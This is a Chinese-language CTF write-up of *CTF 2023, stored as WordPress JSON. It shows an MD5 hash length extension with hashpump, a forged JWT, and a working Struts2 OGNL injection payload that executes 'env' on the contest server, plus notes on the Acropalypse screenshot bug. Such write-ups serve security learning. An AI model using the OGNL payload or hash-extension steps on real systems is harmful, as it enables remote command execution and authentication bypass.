{"id":2092,"date":"2023-07-31T09:08:00","date_gmt":"2023-07-31T01:08:00","guid":{"rendered":"https:\/\/fushuling.com\/?p=2092"},"modified":"2023-07-31T14:40:29","modified_gmt":"2023-07-31T06:40:29","slug":"ctf-2023","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2023\/07\/31\/ctf-2023\/","title":{"rendered":"*CTF 2023"},"content":{"rendered":"\n
\"\"<\/div><\/figure>\n\n\n\n

\u8fd9\u6bd4\u8d5b\u6211\u5168\u7a0b\u6478\u9c7c\uff0c\u5509\uff0cweb\u5c31\u4e00\u9053\uff0cmisc\u5168\u662f\u4ec0\u4e48\u6df1\u5ea6\u5b66\u4e60\u3001ai\u5565\u7684\uff0c\u6574\u4e0d\u6765\u3002<\/p>\n\n\n\n

WEB<\/h1>\n\n\n\n

jwt2struts<\/h2>\n\n\n\n

\u67e5\u770b\u6ce8\u91ca\u6709\u63d0\u793a\uff0c\u8bbf\u95eehttp:\/\/140.210.223.216:55557\/JWT_key.php<\/p>\n\n\n\n

<?php\nhighlight_file(__FILE__);\ninclude \".\/secret_key.php\";\ninclude \".\/salt.php\";\n\/\/$salt = XXXXXXXXXXXXXX \/\/ the salt include 14 characters\n\/\/md5($salt.\"adminroot\")=e6ccbf12de9d33ec27a5bcfb6a3293df\n@$username = urldecode($_POST[\"username\"]);\n@$password = urldecode($_POST[\"password\"]);\nif (!empty($_COOKIE[\"digest\"])) {\n    if ($username === \"admin\" && $password != \"root\") {\n         if ($_COOKIE[\"digest\"] === md5($salt.$username.$password)) {\n            die (\"The secret_key is \". $secret_key);\n        }\n        else {\n            die (\"Your cookies don't match up! STOP HACKING THIS SITE.\");\n        }\n    }\n    else {\n        die (\"no no no\");\n    }\n}<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u9700\u8981\u4f7f\u7528\u5230hash\u62d3\u5c55\u653b\u51fb\uff0c\u53ef\u4ee5\u770b\u770b\u8fd9\u4e00\u7bc7\u4ece\u4e00\u4e2a\u9898\u76ee\u5230hash\u6269\u5c55\u653b\u51fb<\/a>\u3002\u5927\u6982\u5c31\u662f\u8bf4\uff0c\u5bf9\u4e8emd5($salt.$username.$password)\uff0c\u5982\u679c\u6211\u4eec\u5df2\u77e5\u8fd9\u4e2a\u503c\uff0c\u90a3\u4e48\u5728\u4e0d\u77e5\u9053salt\u5177\u4f53\u503c\u4f46\u77e5\u9053\u4f4d\u6570\u7684\u60c5\u51b5\u4e0b(\u4e0d\u77e5\u9053\u5176\u5b9e\u4e5f\u53ef\u4ee5\u6162\u6162\u7206\u7834\u561b)\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u67d0\u79cd\u8ba1\u7b97\u5f97\u5230$salt.$username.$password.\u4f60\u6dfb\u52a0\u7684\u4efb\u610f\u503c<\/code>\u7684md5\u7684\u503c\u3002\u7136\u540e\u8fd9\u91cc\u53ef\u4ee5\u76f4\u63a5\u7528\u5de5\u5177\uff1ahashpump<\/a><\/p>\n\n\n\n
hashpump -s 'e6ccbf12de9d33ec27a5bcfb6a3293df' --data 'adminroot' -a '1' -k 14\n19abfee78b3aae275ec1c6b7661b5464\nadminroot\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x001<\/code><\/pre>\n\n\n\n
\u4e5f\u5c31\u662f\u8bf419abfee78b3aae275ec1c6b7661b5464\u5176\u5b9e\u5c31\u662f$salt.\"adminroot\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x001\"<\/code>\u7684md5\u503c\uff0c\u6240\u4ee5\u6211\u4eec\u5c31\u53ef\u4ee5\u505a\u5230\u5728$username === “admin” && $password != “root”\u7684\u60c5\u51b5\u4e0b$_COOKIE[“digest”] === md5($salt.$username.$password)\u4e86<\/p>\n\n\n\n
\u4f20\u503c\u7684\u65f6\u5019\u8bb0\u5f97\u628a\\x\u6362\u6210%\uff0c\u4e0d\u7136\u670d\u52a1\u5668\u6ca1\u6cd5\u8bc6\u522b\uff0c\u7b97\u51fa\u6765\u662f\u5176\u4ed6\u7684<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
secret_key\u662fsk-he00lctf3r\uff0c\u56de\u5230\u4e3b\u9875\u9762\u4f2a\u9020jwt<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MjAwNjMwOTAzMH0.pK0zUVaY2xfcoLqA5pfDLP_Y72GJMua53zuOz_jQf-g<\/code><\/pre>\n\n\n\n
\u7136\u540e\u91cd\u5b9a\u5411\u5230http:\/\/140.210.223.216:55557\/admiiiiiiiiiiin\/\uff0c\u7f51\u7ad9\u540d\u5c31\u53ebdo you know struct2?\uff0c\u6240\u4ee5s2\u5373\u53ef<\/p>\n\n\n\n
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29%29+%2B+%27<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
******\u4e00\u5171\u5c31\u51fa\u4e86\u8fd9\u4e00\u9053web\u9898\uff0c\u96be\u5ea6\u8fd8\u662f\u504f\u7b80\u5355\u4e86\uff0c\u9002\u5408\u653e\u5728\u65b0\u751f\u8d5b\u4e0a\uff0c\u653exctf\u4e0a\u88ab\u6253\u6210\u7b7e\u5230\u9898\u4e86<\/p>\n\n\n\n
MISC<\/h1>\n\n\n\n
old language<\/h2>\n\n\n\n
https:\/\/fonts2u.com\/dovahkiin.font<\/a>\uff0c\u67e5\u8868\u5373\u53ef<\/p>\n\n\n\n
snippingTools<\/h2>\n\n\n\n
CVE-2023-21036\uff0c\u53ef\u4ee5\u64a4\u9500\u622a\u56fe<\/p>\n\n\n\n
https:\/\/github.com\/frankthetank-music\/Acropalypse-Multi-Tool<\/a><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
Deadgame<\/h2>\n\n\n\n
\u5f00\u6302\u55ef\u6253\uff0c\u6253\u5b8c\u5c31\u6709flag<\/p>\n\n\n\n
MWM<\/h2>\n\n\n\n
\u56e0\u4e3a\u76f4\u63a5\u63d0\u793aflag\u7684\u5185\u5bb9\u662f\u53ef\u6253\u5370\u5b57\u7b26\u4e32\uff0c\u901a\u8fc7\u9664\u4ee5256\u8f6c\u5316\u4e3a0\u52301\u7684\u6d6e\u70b9\u6570\u5e76\u76f4\u63a5\u66ff\u6362\u4e86\u90e8\u5206\u6a21\u578b\u6743\u91cd\u3002flag\u5185\u5bb9\u7684\u5f00\u5934\u56db\u4e2a\u5b57\u7b26\u662f’copy’\uff0c\u6240\u4ee5\u904d\u5386\u6240\u6709\u5c42\u7684\u53c2\u6570\u7136\u540e\u7edf\u4e00\u4e58\u4ee5256\uff0c\u6700\u540e\u76f4\u63a5\u8f6c\u6362\u6210\u4e00\u5217\uff0c\u68c0\u67e5\u662f\u5426\u6709”copy”\u5b57\u6837<\/p>\n\n\n\n
import torch \nfrom functools import reduce\n\nmodel = torch.load(\".\/resnet_mwm_new.pth\",map_location='cpu')\nfor name, param in model.named_parameters():\n    wwww = (param.data * 256).round().to(torch.int32).reshape(1,-1).tolist()\n    if \"copy\" in \"\".join([chr(abs(x)) for x in wwww[0]]):\n        print(\"\".join([chr(abs(x)) for x in wwww[0]]))<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"
\u8fd9\u6bd4\u8d5b\u6211\u5168\u7a0b\u6478\u9c7c\uff0c\u5509\uff0cweb\u5c31\u4e00\u9053\uff0cmisc\u5168\u662f\u4ec0\u4e48\u6df1\u5ea6\u5b66\u4e60\u3001ai\u5565\u7684\uff0c\u6574\u4e0d\u6765\u3002 WEB jwt2struts […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-2092","post","type-post","status-publish","format-standard","hentry","category-wp"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/2092","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=2092"}],"version-history":[{"count":1,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/2092\/revisions"}],"predecessor-version":[{"id":2099,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/2092\/revisions\/2099"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=2092"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=2092"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=2092"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}